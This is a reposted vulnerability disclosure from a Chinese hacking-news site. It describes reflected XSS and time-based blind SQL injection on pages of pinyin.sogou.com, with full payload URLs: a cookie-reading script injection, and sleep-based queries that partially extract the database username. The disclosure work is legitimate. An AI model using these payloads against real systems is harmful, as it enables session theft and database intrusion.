记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

搜狗拼音一处SQL盲注及反射型XSS

2014-10-08 22:45

反射型XSS一枚,建议再找找存储型的:

http://pinyin.sogou.com//wurehanzi/libs/Pagination/examples/ArrayData.php?page=1'%22()%26%25<ScRiPt%20>alert(document.cookie)</ScRiPt>

盲注点,参数eid

http://pinyin.sogou.com/wurehanzi/digg.php?ac=digg&digg=1&eid=if(length(user())>22,sleep(1),0)

其他有问题的页面,麻烦复查:

pinyin.sogou.com/wurehanzi/get_ajax_data.php?wordnum=1

pinyin.sogou.com/wurehanzi/post.php

.htaccess文件可下载:

/wurehanzi/libs/Pagination/examples/.htaccess



漏洞证明:

猜解到user的长度为23。

第一个字母ascii码是105,是字母i:

http://pinyin.sogou.com/wurehanzi/digg.php?ac=digg&digg=1&eid=if(ascii(mid(user(),1,1))=105,sleep(2),0)

chr(105) = 'i'

chr(109) = 'm'

chr(101) = 'e'

chr(95) = '_'

chr(115) = 's'

chr(107) = 'k'

chr(105) = 'i'

chr(110) = 'n'

chr(115) = 's'

好了,就猜解到这里,用户名应该是ime_skin再加点什么,不管了,赶紧提过来啊

sogou_sqlinjection.png



修复方案:

可能搜狗的兄弟忘记这些细微的点了。。。 我是点开你们的弹窗发现的。。。

知识来源: www.wooyun.org/bugs/wooyun-2014-073682

阅读:70674 | 评论:0 | 标签:xss

想收藏或者和大家分享这篇好文章→复制链接地址

“搜狗拼音一处SQL盲注及反射型XSS”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云